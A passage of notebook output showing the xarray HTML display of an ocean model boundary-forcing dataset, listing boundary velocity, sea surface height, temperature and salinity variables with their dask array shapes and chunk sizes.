class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"118\" x2=\"29\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"118\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"123\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"128\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"133\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.454729261137615,19.454729261137615 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:</span></dt><dd>southern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" 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149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>zeta_south</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-dfc66add-6c03-4752-bb29-a58c4c415efc' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-dfc66add-6c03-4752-bb29-a58c4c415efc' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-14f0b211-5239-4aba-addf-257b61cc4c5f' class='xr-var-data-in' type='checkbox'><label for='data-14f0b211-5239-4aba-addf-257b61cc4c5f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.506412)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar_south</span></div><div class='xr-var-dims'>(bry_time, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;</div><input id='attrs-e84c23a6-a936-423b-96ff-b0183fbaba4d' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e84c23a6-a936-423b-96ff-b0183fbaba4d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-23f8ab64-4ae4-4986-8569-52de43781961' class='xr-var-data-in' type='checkbox'><label for='data-23f8ab64-4ae4-4986-8569-52de43781961' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.07303974393395 0.0,33.07303974393395\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.073040\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >101</text>\n", " <text x=\"140.000000\" y=\"16.536520\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.536520)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vbar_south</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-c54dce4f-2c62-430c-b0ab-d0d630003576' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c54dce4f-2c62-430c-b0ab-d0d630003576' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-aac360ce-9923-4b66-825e-03322dc1c5fd' class='xr-var-data-in' type='checkbox'><label for='data-aac360ce-9923-4b66-825e-03322dc1c5fd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.506412)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>temp_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-f9f8ab7f-d86b-438c-b329-a17a3b8603d2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f9f8ab7f-d86b-438c-b329-a17a3b8603d2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-48aba722-a1f6-4e67-941f-3257ff20ebf0' class='xr-var-data-in' type='checkbox'><label for='data-48aba722-a1f6-4e67-941f-3257ff20ebf0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 29.419308022979912,137.0663668465093 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line 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style=\"stroke-width:2\" />\n", " <line x1=\"149\" y1=\"19\" x2=\"149\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"29.419308022979912,19.419308022979912 149.41930802297992,19.419308022979912 149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>salt_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-12288e7d-315e-4bbe-bde2-61f46d8231ea' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-12288e7d-315e-4bbe-bde2-61f46d8231ea' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a30ba316-e467-40ca-89ec-43d9a749cd10' class='xr-var-data-in' type='checkbox'><label for='data-a30ba316-e467-40ca-89ec-43d9a749cd10' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-57c153b6-fdc1-4057-a7fa-b73d29897747' class='xr-var-data-in' type='checkbox'><label for='data-57c153b6-fdc1-4057-a7fa-b73d29897747' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 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x1=\"29\" y1=\"137\" x2=\"149\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", " <line x1=\"149\" y1=\"19\" x2=\"149\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"29.419308022979912,19.419308022979912 149.41930802297992,19.419308022979912 149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>eastern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" 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id='attrs-a9893a08-7b28-4aea-b87e-c9775452b5b6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a9893a08-7b28-4aea-b87e-c9775452b5b6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-fb54b72b-ec76-4c04-8772-b67c0d7ec0b0' class='xr-var-data-in' type='checkbox'><label for='data-fb54b72b-ec76-4c04-8772-b67c0d7ec0b0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" 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for='attrs-959fdc26-0df9-49b6-ade7-fb4575d245ac' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-aed54017-a789-455f-8d28-a81dd2530a7a' class='xr-var-data-in' type='checkbox'><label for='data-aed54017-a789-455f-8d28-a81dd2530a7a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d249f753-b881-4522-a2ed-6c94ffcd887d' class='xr-var-data-in' type='checkbox'><label for='data-d249f753-b881-4522-a2ed-6c94ffcd887d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 